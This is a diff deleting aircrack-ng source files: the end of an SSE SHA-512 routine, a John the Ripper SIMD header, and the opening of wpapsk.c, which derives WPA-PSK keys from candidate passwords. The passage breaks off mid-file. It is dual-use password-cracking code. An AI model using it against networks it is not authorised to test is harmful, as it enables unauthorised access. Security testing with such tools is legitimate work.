-	SHA512_STEP(c, d, e, f, g, h, a, b, 22, 0x5cb0a9dcbd41fbd4ULL);
-	SHA512_STEP(b, c, d, e, f, g, h, a, 23, 0x76f988da831153b5ULL);
-	SHA512_STEP(a, b, c, d, e, f, g, h, 24, 0x983e5152ee66dfabULL);
-	SHA512_STEP(h, a, b, c, d, e, f, g, 25, 0xa831c66d2db43210ULL);
-	SHA512_STEP(g, h, a, b, c, d, e, f, 26, 0xb00327c898fb213fULL);
-	SHA512_STEP(f, g, h, a, b, c, d, e, 27, 0xbf597fc7beef0ee4ULL);
-	SHA512_STEP(e, f, g, h, a, b, c, d, 28, 0xc6e00bf33da88fc2ULL);
-	SHA512_STEP(d, e, f, g, h, a, b, c, 29, 0xd5a79147930aa725ULL);
-	SHA512_STEP(c, d, e, f, g, h, a, b, 30, 0x06ca6351e003826fULL);
-	SHA512_STEP(b, c, d, e, f, g, h, a, 31, 0x142929670a0e6e70ULL);
-
-	SHA512_STEP(a, b, c, d, e, f, g, h, 32, 0x27b70a8546d22ffcULL);
-	SHA512_STEP(h, a, b, c, d, e, f, g, 33, 0x2e1b21385c26c926ULL);
-	SHA512_STEP(g, h, a, b, c, d, e, f, 34, 0x4d2c6dfc5ac42aedULL);
-	SHA512_STEP(f, g, h, a, b, c, d, e, 35, 0x53380d139d95b3dfULL);
-	SHA512_STEP(e, f, g, h, a, b, c, d, 36, 0x650a73548baf63deULL);
-	SHA512_STEP(d, e, f, g, h, a, b, c, 37, 0x766a0abb3c77b2a8ULL);
-	SHA512_STEP(c, d, e, f, g, h, a, b, 38, 0x81c2c92e47edaee6ULL);
-	SHA512_STEP(b, c, d, e, f, g, h, a, 39, 0x92722c851482353bULL);
-	SHA512_STEP(a, b, c, d, e, f, g, h, 40, 0xa2bfe8a14cf10364ULL);
-	SHA512_STEP(h, a, b, c, d, e, f, g, 41, 0xa81a664bbc423001ULL);
-	SHA512_STEP(g, h, a, b, c, d, e, f, 42, 0xc24b8b70d0f89791ULL);
-	SHA512_STEP(f, g, h, a, b, c, d, e, 43, 0xc76c51a30654be30ULL);
-	SHA512_STEP(e, f, g, h, a, b, c, d, 44, 0xd192e819d6ef5218ULL);
-	SHA512_STEP(d, e, f, g, h, a, b, c, 45, 0xd69906245565a910ULL);
-	SHA512_STEP(c, d, e, f, g, h, a, b, 46, 0xf40e35855771202aULL);
-	SHA512_STEP(b, c, d, e, f, g, h, a, 47, 0x106aa07032bbd1b8ULL);
-
-	SHA512_STEP(a, b, c, d, e, f, g, h, 48, 0x19a4c116b8d2d0c8ULL);
-	SHA512_STEP(h, a, b, c, d, e, f, g, 49, 0x1e376c085141ab53ULL);
-	SHA512_STEP(g, h, a, b, c, d, e, f, 50, 0x2748774cdf8eeb99ULL);
-	SHA512_STEP(f, g, h, a, b, c, d, e, 51, 0x34b0bcb5e19b48a8ULL);
-	SHA512_STEP(e, f, g, h, a, b, c, d, 52, 0x391c0cb3c5c95a63ULL);
-	SHA512_STEP(d, e, f, g, h, a, b, c, 53, 0x4ed8aa4ae3418acbULL);
-	SHA512_STEP(c, d, e, f, g, h, a, b, 54, 0x5b9cca4f7763e373ULL);
-	SHA512_STEP(b, c, d, e, f, g, h, a, 55, 0x682e6ff3d6b2b8a3ULL);
-	SHA512_STEP(a, b, c, d, e, f, g, h, 56, 0x748f82ee5defb2fcULL);
-	SHA512_STEP(h, a, b, c, d, e, f, g, 57, 0x78a5636f43172f60ULL);
-	SHA512_STEP(g, h, a, b, c, d, e, f, 58, 0x84c87814a1f0ab72ULL);
-	SHA512_STEP(f, g, h, a, b, c, d, e, 59, 0x8cc702081a6439ecULL);
-	SHA512_STEP(e, f, g, h, a, b, c, d, 60, 0x90befffa23631e28ULL);
-	SHA512_STEP(d, e, f, g, h, a, b, c, 61, 0xa4506cebde82bde9ULL);
-	SHA512_STEP(c, d, e, f, g, h, a, b, 62, 0xbef9a3f7b2c67915ULL);
-	SHA512_STEP(b, c, d, e, f, g, h, a, 63, 0xc67178f2e372532bULL);
-
-	SHA512_STEP(a, b, c, d, e, f, g, h, 64, 0xca273eceea26619cULL);
-	SHA512_STEP(h, a, b, c, d, e, f, g, 65, 0xd186b8c721c0c207ULL);
-	SHA512_STEP(g, h, a, b, c, d, e, f, 66, 0xeada7dd6cde0eb1eULL);
-	SHA512_STEP(f, g, h, a, b, c, d, e, 67, 0xf57d4f7fee6ed178ULL);
-	SHA512_STEP(e, f, g, h, a, b, c, d, 68, 0x06f067aa72176fbaULL);
-	SHA512_STEP(d, e, f, g, h, a, b, c, 69, 0x0a637dc5a2c898a6ULL);
-	SHA512_STEP(c, d, e, f, g, h, a, b, 70, 0x113f9804bef90daeULL);
-	SHA512_STEP(b, c, d, e, f, g, h, a, 71, 0x1b710b35131c471bULL);
-	SHA512_STEP(a, b, c, d, e, f, g, h, 72, 0x28db77f523047d84ULL);
-	SHA512_STEP(h, a, b, c, d, e, f, g, 73, 0x32caab7b40c72493ULL);
-	SHA512_STEP(g, h, a, b, c, d, e, f, 74, 0x3c9ebe0a15c9bebcULL);
-	SHA512_STEP(f, g, h, a, b, c, d, e, 75, 0x431d67c49c100d4cULL);
-	SHA512_STEP(e, f, g, h, a, b, c, d, 76, 0x4cc5d4becb3e42b6ULL);
-	SHA512_STEP(d, e, f, g, h, a, b, c, 77, 0x597f299cfc657e2aULL);
-	SHA512_STEP(c, d, e, f, g, h, a, b, 78, 0x5fcb6fab3ad6faecULL);
-	SHA512_STEP(b, c, d, e, f, g, h, a, 79, 0x6c44198c4a475817ULL);
-
-	if (SSEi_flags & SSEi_RELOAD) {
-		if ((SSEi_flags & SSEi_RELOAD_INP_FMT)==SSEi_RELOAD_INP_FMT)
-		{
-			i=0; // later if we do PARA, i will be used in the PARA_FOR loop
-			//SHA512_PARA_DO(i)
-			{
-				a = _mm_add_epi64(a,_mm_load_si128((__m128i *)&reload_state[i*(16/2)*8+( 0/2)]));
-				b = _mm_add_epi64(b,_mm_load_si128((__m128i *)&reload_state[i*(16/2)*8+( 4/2)]));
-				c = _mm_add_epi64(c,_mm_load_si128((__m128i *)&reload_state[i*(16/2)*8+( 8/2)]));
-				d = _mm_add_epi64(d,_mm_load_si128((__m128i *)&reload_state[i*(16/2)*8+(12/2)]));
-				e = _mm_add_epi64(e,_mm_load_si128((__m128i *)&reload_state[i*(16/2)*8+(16/2)]));
-				f = _mm_add_epi64(f,_mm_load_si128((__m128i *)&reload_state[i*(16/2)*8+(20/2)]));
-				g = _mm_add_epi64(g,_mm_load_si128((__m128i *)&reload_state[i*(16/2)*8+(24/2)]));
-				h = _mm_add_epi64(h,_mm_load_si128((__m128i *)&reload_state[i*(16/2)*8+(28/2)]));
-			}
-		}
-		else
-		{
-			i=0;
-			//SHA512_PARA_DO(i)
-			{
-				a = _mm_add_epi64(a,_mm_load_si128((__m128i *)&reload_state[i*(32/2)+( 0/2)]));
-				b = _mm_add_epi64(b,_mm_load_si128((__m128i *)&reload_state[i*(32/2)+( 4/2)]));
-				c = _mm_add_epi64(c,_mm_load_si128((__m128i *)&reload_state[i*(32/2)+( 8/2)]));
-				d = _mm_add_epi64(d,_mm_load_si128((__m128i *)&reload_state[i*(32/2)+(12/2)]));
-				e = _mm_add_epi64(e,_mm_load_si128((__m128i *)&reload_state[i*(32/2)+(16/2)]));
-				f = _mm_add_epi64(f,_mm_load_si128((__m128i *)&reload_state[i*(32/2)+(20/2)]));
-				g = _mm_add_epi64(g,_mm_load_si128((__m128i *)&reload_state[i*(32/2)+(24/2)]));
-				h = _mm_add_epi64(h,_mm_load_si128((__m128i *)&reload_state[i*(32/2)+(28/2)]));
-				}
-		}
-	} else if ((SSEi_flags & SSEi_SKIP_FINAL_ADD) == 0) {
-		if (SSEi_flags & SSEi_CRYPT_SHA384) {
-			/* SHA-384 IV */
-			a = _mm_add_epi64 (a, _mm_set1_epi64x (0xcbbb9d5dc1059ed8ULL));
-			b = _mm_add_epi64 (b, _mm_set1_epi64x (0x629a292a367cd507ULL));
-			c = _mm_add_epi64 (c, _mm_set1_epi64x (0x9159015a3070dd17ULL));
-			d = _mm_add_epi64 (d, _mm_set1_epi64x (0x152fecd8f70e5939ULL));
-			e = _mm_add_epi64 (e, _mm_set1_epi64x (0x67332667ffc00b31ULL));
-			f = _mm_add_epi64 (f, _mm_set1_epi64x (0x8eb44a8768581511ULL));
-			g = _mm_add_epi64 (g, _mm_set1_epi64x (0xdb0c2e0d64f98fa7ULL));
-			h = _mm_add_epi64 (h, _mm_set1_epi64x (0x47b5481dbefa4fa4ULL));
-		} else {
-			/* SHA-512 IV */
-			a = _mm_add_epi64 (a, _mm_set1_epi64x (0x6a09e667f3bcc908ULL));
-			b = _mm_add_epi64 (b, _mm_set1_epi64x (0xbb67ae8584caa73bULL));
-			c = _mm_add_epi64 (c, _mm_set1_epi64x (0x3c6ef372fe94f82bULL));
-			d = _mm_add_epi64 (d, _mm_set1_epi64x (0xa54ff53a5f1d36f1ULL));
-			e = _mm_add_epi64 (e, _mm_set1_epi64x (0x510e527fade682d1ULL));
-			f = _mm_add_epi64 (f, _mm_set1_epi64x (0x9b05688c2b3e6c1fULL));
-			g = _mm_add_epi64 (g, _mm_set1_epi64x (0x1f83d9abfb41bd6bULL));
-			h = _mm_add_epi64 (h, _mm_set1_epi64x (0x5be0cd19137e2179ULL));
-		}
-	}
-
-	if (SSEi_flags & SSEi_SWAP_FINAL) {
-		/* NOTE, if we swap OUT of BE into proper LE, then this can not be
-		 * used in a sha512_flags&SHA512_RELOAD manner, without swapping back into BE format.
-		 * NORMALLY, a format will switch binary values into BE format at start, and then
-		 * just take the 'normal' non swapped output of this function (i.e. keep it in BE) */
-		SWAP_ENDIAN64(a);
-		SWAP_ENDIAN64(b);
-		SWAP_ENDIAN64(c);
-		SWAP_ENDIAN64(d);
-		SWAP_ENDIAN64(e);
-		SWAP_ENDIAN64(f);
-		SWAP_ENDIAN64(g);
-		SWAP_ENDIAN64(h);
-	}
-
-	/* We store the MMX_mixed values.  This will be in proper 'mixed' format, in BE
-	 * format (i.e. correct to reload on a subsquent call), UNLESS, swapped in the prior
-	 * if statement (the SHA512_SWAP_FINAL) */
-	if (SSEi_flags & SSEi_OUTPUT_AS_INP_FMT)
-	{
-		i=0;
-		//SHA512_PARA_DO(i)
-		{
-			_mm_store_si128((__m128i *)&out[i*(16/2)*8+( 0/2)], a);
-			_mm_store_si128((__m128i *)&out[i*(16/2)*8+( 4/2)], b);
-			_mm_store_si128((__m128i *)&out[i*(16/2)*8+( 8/2)], c);
-			_mm_store_si128((__m128i *)&out[i*(16/2)*8+(12/2)], d);
-			_mm_store_si128((__m128i *)&out[i*(16/2)*8+(16/2)], e);
-			_mm_store_si128((__m128i *)&out[i*(16/2)*8+(20/2)], f);
-			_mm_store_si128((__m128i *)&out[i*(16/2)*8+(24/2)], g);
-			_mm_store_si128((__m128i *)&out[i*(16/2)*8+(28/2)], h);
-		}
-	}
-	else
-	{
-		i=0;
-		//SHA512_PARA_DO(i)
-		{
-			_mm_store_si128 ((__m128i *)&(out[i*(32/2)+( 0/2)]), a);
-			_mm_store_si128 ((__m128i *)&(out[i*(32/2)+( 4/2)]), b);
-			_mm_store_si128 ((__m128i *)&(out[i*(32/2)+( 8/2)]), c);
-			_mm_store_si128 ((__m128i *)&(out[i*(32/2)+(12/2)]), d);
-			_mm_store_si128 ((__m128i *)&(out[i*(32/2)+(16/2)]), e);
-			_mm_store_si128 ((__m128i *)&(out[i*(32/2)+(20/2)]), f);
-			_mm_store_si128 ((__m128i *)&(out[i*(32/2)+(24/2)]), g);
-			_mm_store_si128 ((__m128i *)&(out[i*(32/2)+(28/2)]), h);
-		}
-	}
-
-
-}
-#endif

aircrack-ng-1.2-rc4.tar.gz/src/sse-intrinsics.h Deleted

@@ -1,145 +0,0 @@
-/*
- * Based on John the Ripper and modified to integrate with aircrack
- *
- * 	John the Ripper copyright and license.
- *
- * John the Ripper password cracker,
- * Copyright (c) 1996-2013 by Solar Designer.
- *
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * As a special exception to the GNU General Public License terms,
- * permission is hereby granted to link the code of this program, with or
- * without modification, with any version of the OpenSSL library and/or any
- * version of unRAR, and to distribute such linked combinations.  You must
- * obey the GNU GPL in all respects for all of the code used other than
- * OpenSSL and unRAR.  If you modify this program, you may extend this
- * exception to your version of the program, but you are not obligated to
- * do so.  (In other words, you may release your derived work under pure
- * GNU GPL version 2 or later as published by the FSF.)
- *
- * (This exception from the GNU GPL is not required for the core tree of
- * John the Ripper, but arguably it is required for -jumbo.)
- *
- * 	Relaxed terms for certain components.
- *
- * In addition or alternatively to the license above, many components are
- * available to you under more relaxed terms (most commonly under cut-down
- * BSD license) as specified in the corresponding source files.
- *
- * For more information on John the Ripper licensing please visit:
- *
- * http://www.openwall.com/john/doc/LICENSE.shtml
- *
- * This software is Copyright (c) 2010 bartavelle, <bartavelle at bandecon.com>, and it is hereby released to the general public under the following terms:
- * Redistribution and use in source and binary forms, with or without modification, are permitted.
- *
- * Some modifications, Jim Fougeron, 2013.  Licensing rights listed in accompanying sse-intrinsics.c file.
- */
-
-#if !defined (__JTR_SSE_INTRINSICS_H__)
-#define __JTR_SSE_INTRINSICS_H__
-
-#if (MMX_COEF && MMX_COEF == 2) || !MMX_COEF
-#undef SSE_type
-#define SSE_type			"x86"
-#undef MMX_COEF
-#endif
-
-#include "jcommon.h"
-#include "sse-intrinsics-load-flags.h"
-
-#ifndef _EMMINTRIN_H_INCLUDED
-#define __m128i void
-#endif
-
-#define STRINGIZE2(s) #s
-#define STRINGIZE(s) STRINGIZE2(s)
-
-#if defined(__XOP__)
-#undef SSE_type
-#define SSE_type			"XOP"
-#elif defined(__AVX__)
-#undef SSE_type
-#define SSE_type			"AVX"
-#elif defined(__SSE4_1__)
-#undef SSE_type
-#define SSE_type			"SSE4.1"
-#elif defined(__SSSE3__)
-#undef SSE_type
-#define SSE_type			"SSSE3"
-#elif MMX_COEF
-#undef SSE_type
-#define SSE_type			"SSE2"
-#endif
-
-#ifdef MD5_SSE_PARA
-void md5cryptsse(unsigned char * buf, unsigned char * salt, char * out, int md5_type);
-void SSEmd5body(__m128i* data, ARCH_WORD_32 *out, ARCH_WORD_32 *reload_state, unsigned SSEi_flags);
-#define MD5_SSE_type			SSE_type
-#define MD5_ALGORITHM_NAME		"128/128 " MD5_SSE_type " " MD5_N_STR
-#else
-#define MD5_SSE_type			"1x"
-#define MD5_ALGORITHM_NAME		"32/" ARCH_BITS_STR
-#endif
-
-#ifdef MD4_SSE_PARA
-//void SSEmd4body(__m128i* data, unsigned int * out, int init);
-void SSEmd4body(__m128i* data, ARCH_WORD_32 *out, ARCH_WORD_32 *reload_state, unsigned SSEi_flags);
-#define MD4_SSE_type			SSE_type
-#define MD4_ALGORITHM_NAME		"128/128 " MD4_SSE_type " " MD4_N_STR
-#else
-#define MD4_SSE_type			"1x"
-#define MD4_ALGORITHM_NAME		"32/" ARCH_BITS_STR
-#endif
-
-#ifdef SHA1_SSE_PARA
-void SSESHA1body(__m128i* data, ARCH_WORD_32 *out, ARCH_WORD_32 *reload_state, unsigned SSEi_flags);
-#define SHA1_SSE_type			SSE_type
-#define SHA1_ALGORITHM_NAME		"128/128 " SHA1_SSE_type " " SHA1_N_STR
-#else
-#define SHA1_SSE_type			"1x"
-#define SHA1_ALGORITHM_NAME		"32/" ARCH_BITS_STR
-#endif
-
-// code for SHA256 and SHA512 (from rawSHA256_ng_fmt.c and rawSHA512_ng_fmt.c)
-
-#if defined __XOP__
-#define SIMD_TYPE                 "XOP"
-#elif defined __SSE4_1__
-#define SIMD_TYPE                 "SSE4.1"
-#elif defined __SSSE3__
-#define SIMD_TYPE                 "SSSE3"
-#else
-#define SIMD_TYPE                 "SSE2"
-#endif
-
-// we use the 'outter' MMX_COEF wrapper, as the flag for SHA256/SHA512.  FIX_ME!!
-#if MMX_COEF==4
-
-#ifdef MMX_COEF_SHA256
-#define SHA256_ALGORITHM_NAME	"128/128 " SIMD_TYPE " " STRINGIZE(MMX_COEF_SHA256)"x"
-void SSESHA256body(__m128i* data, ARCH_WORD_32 *out, ARCH_WORD_32 *reload_state, unsigned SSEi_flags);
-#define SHA256_BUF_SIZ 16
-#define SHA256_SSE_PARA 1
-#endif
-
-#ifdef MMX_COEF_SHA512
-#define SHA512_ALGORITHM_NAME	"128/128 " SIMD_TYPE " " STRINGIZE(MMX_COEF_SHA512)"x"
-void SSESHA512body(__m128i* data, ARCH_WORD_64 *out, ARCH_WORD_64 *reload_state, unsigned SSEi_flags);
-// ????  (16 long longs).
-#define SHA512_BUF_SIZ 16
-#define SHA512_SSE_PARA 1
-#endif
-
-#endif
-
-#endif // __JTR_SSE_INTRINSICS_H__

aircrack-ng-1.2-rc4.tar.gz/src/wpapsk.c Deleted

@@ -1,546 +0,0 @@
-/*
- * Based on John the Ripper and modified to integrate with aircrack
- *
- * 	John the Ripper copyright and license.
- *
- * John the Ripper password cracker,
- * Copyright (c) 1996-2013 by Solar Designer.
- *
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * As a special exception to the GNU General Public License terms,
- * permission is hereby granted to link the code of this program, with or
- * without modification, with any version of the OpenSSL library and/or any
- * version of unRAR, and to distribute such linked combinations.  You must
- * obey the GNU GPL in all respects for all of the code used other than
- * OpenSSL and unRAR.  If you modify this program, you may extend this
- * exception to your version of the program, but you are not obligated to
- * do so.  (In other words, you may release your derived work under pure
- * GNU GPL version 2 or later as published by the FSF.)
- *
- * (This exception from the GNU GPL is not required for the core tree of
- * John the Ripper, but arguably it is required for -jumbo.)
- *
- * 	Relaxed terms for certain components.
- *
- * In addition or alternatively to the license above, many components are
- * available to you under more relaxed terms (most commonly under cut-down
- * BSD license) as specified in the corresponding source files.
- *
- * For more information on John the Ripper licensing please visit:
- *
- * http://www.openwall.com/john/doc/LICENSE.shtml
- *
- * This software is Copyright (c) 2012 Lukas Odzioba <ukasz at openwall dot net>
- * and it is hereby released to the general public under the following terms:
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted.
- *
- * Code is based on Aircrack-ng source
- *
- * SSE2 code enhancement, Jim Fougeron, Jan, 2013.
- *   Also removed oSSL code: HMAC(EVP_sha1(), ....), and coded what it does
- * (which is simple), inline.
- */
-#ifndef USE_GCRYPT
-#include <openssl/sha.h>
-#else
-#include "sha1-git.h"
-#endif
-#include <string.h>
-#include <stdint.h>
-#ifdef SIMD_CORE
-#include "simd-intrinsics.h"
-#else
-#include "sse-intrinsics.h"
-#endif
-#include "aircrack-ng.h"
-#include "wpapsk.h"
-#include "johnswap.h"
-#include "memory.h"
-
-//#define XDEBUG
-
-#if defined(__INTEL_COMPILER)
-#define SIMD_PARA_SHA1		1
-#elif defined(__clang__)
-#define SIMD_PARA_SHA1		2
-#elif defined(__llvm__)
-#define SIMD_PARA_SHA1		2
-#elif defined(__GNUC__) && GCC_VERSION < 40504  // 4.5.4
-#define SIMD_PARA_SHA1		1
-#elif !defined(__AVX__) && defined(__GNUC__) && GCC_VERSION > 40700 // 4.7.0
-#define SIMD_PARA_SHA1		1
-#else
-#define SIMD_PARA_SHA1		1
-#endif
-
-#ifdef SIMD_CORE
-#ifdef SIMD_COEF_32
-#  define NBKEYS		(SIMD_COEF_32 * SIMD_PARA_SHA1)
-#  ifdef _OPENMP
-#    include <omp.h>
-#  endif
-#else
-#  define NBKEYS		1
-#  ifdef _OPENMP
-#    include <omp.h>
-#  endif
-#endif
-#else
-#ifdef MMX_COEF
-#  define NBKEYS		(MMX_COEF * SHA1_SSE_PARA)
-#  ifdef _OPENMP
-#    include <omp.h>
-#  endif
-#else
-#  define NBKEYS		1
-#  ifdef _OPENMP
-#    include <omp.h>
-#  endif
-#endif
-#endif
-
-#include "memdbg.h"
-
-#ifndef SIMD_CORE
-#undef SIMDSHA1body
-#define SIMDSHA1body		SSESHA1body
-#endif
-
-#define MIN_KEYS_PER_CRYPT	1
-#ifdef JOHN_AVX2
-#define MAX_KEYS_PER_CRYPT	8
-#else
-#define MAX_KEYS_PER_CRYPT	4
-#endif
-
-char itoa64[64] = "./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
-char atoi64[0x100];
-
-wpapsk_password *wpapass[128]	= { 0 };
-unsigned char *xpmk1[128]	= { NULL };
-unsigned char *xpmk2[128]	= { NULL };
-unsigned char *xpmk3[128]	= { NULL };
-unsigned char *xpmk4[128]	= { NULL };
-unsigned char *xpmk5[128]	= { NULL };
-unsigned char *xpmk6[128]	= { NULL };
-unsigned char *xpmk7[128]	= { NULL };
-unsigned char *xpmk8[128]	= { NULL };
-unsigned char *xsse_hash1[128]	= { NULL };
-unsigned char *xsse_crypt1[128] = { NULL };
-unsigned char *xsse_crypt2[128] = { NULL };
-
-/* for endianity conversion */
-#ifdef SIMD_CORE
-#define GETPOS(i, index)	((index&(SIMD_COEF_32-1))*4 + ((i)&(0xffffffff-3) )*SIMD_COEF_32 + (3-((i)&3)) + (unsigned int)index/SIMD_COEF_32*SHA_BUF_SIZ*SIMD_COEF_32*4 )
-#else
-#define GETPOS(i, index)	((index&(MMX_COEF-1))*4 + ((i)&(0xffffffff-3) )*MMX_COEF + (3-((i)&3)) + (index>>(MMX_COEF>>1))*SHA_BUF_SIZ*MMX_COEF*4 )
-#endif
-
-void init_ssecore(int threadid) {
-	if (xsse_hash1[threadid] == NULL) {
-//	      printf("allocing ssememory[%d]\n", threadid);
-		xsse_hash1[threadid]    = mem_calloc_align(MAX_KEYS_PER_CRYPT, 2048, MEM_ALIGN_SIMD);
-		xsse_crypt1[threadid]   = mem_calloc_align(MAX_KEYS_PER_CRYPT, 2048, MEM_ALIGN_SIMD);
-		xsse_crypt2[threadid]   = mem_calloc_align(MAX_KEYS_PER_CRYPT, 2048, MEM_ALIGN_SIMD);
-		xpmk1[threadid]		= mem_calloc_align(MAX_KEYS_PER_CRYPT, 2048, MEM_ALIGN_SIMD);
-		xpmk2[threadid]		= mem_calloc_align(MAX_KEYS_PER_CRYPT, 2048, MEM_ALIGN_SIMD);
-		xpmk3[threadid]		= mem_calloc_align(MAX_KEYS_PER_CRYPT, 2048, MEM_ALIGN_SIMD);
-		xpmk4[threadid]		= mem_calloc_align(MAX_KEYS_PER_CRYPT, 2048, MEM_ALIGN_SIMD);
-		xpmk5[threadid]		= mem_calloc_align(MAX_KEYS_PER_CRYPT, 2048, MEM_ALIGN_SIMD);
-		xpmk6[threadid]		= mem_calloc_align(MAX_KEYS_PER_CRYPT, 2048, MEM_ALIGN_SIMD);
-		xpmk7[threadid]		= mem_calloc_align(MAX_KEYS_PER_CRYPT, 2048, MEM_ALIGN_SIMD);
-		xpmk8[threadid]		= mem_calloc_align(MAX_KEYS_PER_CRYPT, 2048, MEM_ALIGN_SIMD);
-		wpapass[threadid]	= mem_calloc_align(MAX_KEYS_PER_CRYPT, 2048, MEM_ALIGN_SIMD);
-	}
-}
-
-void free_ssecore(int threadid) {
-	if (xsse_hash1[threadid] != NULL) {
-		MEM_FREE(xsse_hash1[threadid]);
-		MEM_FREE(xsse_crypt1[threadid]);
-		MEM_FREE(xsse_crypt2[threadid]);
-		MEM_FREE(xpmk1[threadid]);
-		MEM_FREE(xpmk2[threadid]);
-		MEM_FREE(xpmk3[threadid]);
-		MEM_FREE(xpmk4[threadid]);
-		MEM_FREE(xpmk5[threadid]);
-		MEM_FREE(xpmk6[threadid]);
-		MEM_FREE(xpmk7[threadid]);
-		MEM_FREE(xpmk8[threadid]);
-		MEM_FREE(wpapass[threadid]);
-	}
-}
-
-static void set_key(char *key, int index, wpapsk_password *in)
-{
-	uint8_t length = strlen(key);
-	if (length > PLAINTEXT_LENGTH)
-		length = PLAINTEXT_LENGTH;
-	in[index].length = length;
-//      inbuffer[index].length = length;
-	memcpy(in[index].v, key, length);
-//      count = index+1;
-}
-
-static MAYBE_INLINE void wpapsk_sse(int threadid, int count, char *salt, wpapsk_password * in)
-{
-	int t; // thread count
-#ifdef XDEBUG
-	int prloop = 0;
-#endif
-	int salt_length = strlen(salt);
-	int slen = salt_length + 4;
-	int loops = (count+NBKEYS-1) / NBKEYS;
-	uint8_t tmpbuf[32];
-	char xsalt[32+4];
-
-	static unsigned char *sse_hash1	 = NULL;
-	static unsigned char *sse_crypt1 = NULL;
-	static unsigned char *sse_crypt2 = NULL;
-	static wpapsk_password	*inbuffer;     	//table for candidate passwords (pointer to threads copy)
-	unsigned char essid[32 + 4];
-
-	inbuffer	= wpapass[threadid];
-	sse_hash1 	= xsse_hash1[threadid];
-	sse_crypt1	= xsse_crypt1[threadid];
-	sse_crypt2	= xsse_crypt2[threadid];
-
-	sprintf(xsalt, "%s", salt);
-
-	{
-		int index;
-		for (index = 0; index < cpuinfo.simdsize; ++index) {
-			// set the length of all hash1 SSE buffer to 64+20 * 8 bits. The 64 is for the ipad/opad,
-			// the 20 is for the length of the SHA1 buffer that also gets into each crypt.
-			// Works for SSE2i and SSE2
-#ifdef SIMD_CORE
-			((unsigned int *)sse_hash1)[15*SIMD_COEF_32 + (index&(SIMD_COEF_32-1)) + (unsigned int)index/SIMD_COEF_32*SHA_BUF_SIZ*SIMD_COEF_32] = (84<<3); // all encrypts are 64+20 bytes.
-#else
-			((unsigned int *)sse_hash1)[15*MMX_COEF + (index&(MMX_COEF-1)) + (index>>(MMX_COEF>>1))*SHA_BUF_SIZ*MMX_COEF] = (84<<3); // all encrypts are 64+20 bytes.
-#endif
-			sse_hash1[GETPOS(20,index)] = 0x80;
-		}
-	}
-
-//	printf("t = %d, nbkeys = %d, loops = %d, essid = %s\n", count, NBKEYS, loops, xsalt);
-
-	memset(essid, 0, 32 + 4);
-	memcpy(essid, xsalt, salt_length);
-
-	for (t = 0; t < loops; t++) {
-		unsigned int i, k, j;
-		union {
-			unsigned char c[64];
-			uint32_t i[16];
-		} buffer[NBKEYS];
-		union {
-			unsigned char c[40];
-			uint32_t i[10];
-		} outbuf[NBKEYS];
-		SHA_CTX ctx_ipad[NBKEYS];
-		SHA_CTX ctx_opad[NBKEYS];
-
-		SHA_CTX sha1_ctx;
-		unsigned int *i1, *i2, *o1;
-		unsigned char *t_sse_crypt1, *t_sse_crypt2, *t_sse_hash1;
-
-		// All pointers get their offset for this thread here. No further offsetting below.
-		t_sse_crypt1 = &sse_crypt1[t * NBKEYS * 20];
-		t_sse_crypt2 = &sse_crypt2[t * NBKEYS * 20];
-		t_sse_hash1 = &sse_hash1[t * NBKEYS * SHA_BUF_SIZ * 4];
-		i1 = (unsigned int*)t_sse_crypt1;
-		i2 = (unsigned int*)t_sse_crypt2;
-		o1 = (unsigned int*)t_sse_hash1;
-
-		for (j = 0; j < NBKEYS; ++j) {
-			memset(buffer[j].c, 0, 64);
-			memcpy(buffer[j].c, in[t*NBKEYS+j].v, in[t*NBKEYS+j].length);
-			memset(&buffer[j].c[in[t*NBKEYS+j].length], 0, 64-in[t*NBKEYS+j].length);
-			SHA1_Init(&ctx_ipad[j]);
-			SHA1_Init(&ctx_opad[j]);
-
-			for (i = 0; i < 16; i++)
-				buffer[j].i[i] ^= 0x36363636;
-			SHA1_Update(&ctx_ipad[j], buffer[j].c, 64);
-
-			for (i = 0; i < 16; i++)
-				buffer[j].i[i] ^= 0x6a6a6a6a;
-			SHA1_Update(&ctx_opad[j], buffer[j].c, 64);
-
-			// we memcopy from flat into MMX_COEF output buffer's (our 'temp' ctx buffer).
-			// This data will NOT need to be BE swapped (it already IS BE swapped).
-#ifdef SIMD_CORE
-			i1[(j/SIMD_COEF_32)*SIMD_COEF_32*5+(j&(SIMD_COEF_32-1))+0*SIMD_COEF_32] = ctx_ipad[j].h0;
-			i1[(j/SIMD_COEF_32)*SIMD_COEF_32*5+(j&(SIMD_COEF_32-1))+1*SIMD_COEF_32] = ctx_ipad[j].h1;
-			i1[(j/SIMD_COEF_32)*SIMD_COEF_32*5+(j&(SIMD_COEF_32-1))+2*SIMD_COEF_32] = ctx_ipad[j].h2;
-			i1[(j/SIMD_COEF_32)*SIMD_COEF_32*5+(j&(SIMD_COEF_32-1))+3*SIMD_COEF_32] = ctx_ipad[j].h3;
-			i1[(j/SIMD_COEF_32)*SIMD_COEF_32*5+(j&(SIMD_COEF_32-1))+4*SIMD_COEF_32] = ctx_ipad[j].h4;
-
-			i2[(j/SIMD_COEF_32)*SIMD_COEF_32*5+(j&(SIMD_COEF_32-1))+0*SIMD_COEF_32] = ctx_opad[j].h0;
-			i2[(j/SIMD_COEF_32)*SIMD_COEF_32*5+(j&(SIMD_COEF_32-1))+1*SIMD_COEF_32] = ctx_opad[j].h1;
-			i2[(j/SIMD_COEF_32)*SIMD_COEF_32*5+(j&(SIMD_COEF_32-1))+2*SIMD_COEF_32] = ctx_opad[j].h2;
-			i2[(j/SIMD_COEF_32)*SIMD_COEF_32*5+(j&(SIMD_COEF_32-1))+3*SIMD_COEF_32] = ctx_opad[j].h3;
-			i2[(j/SIMD_COEF_32)*SIMD_COEF_32*5+(j&(SIMD_COEF_32-1))+4*SIMD_COEF_32] = ctx_opad[j].h4;
-#else
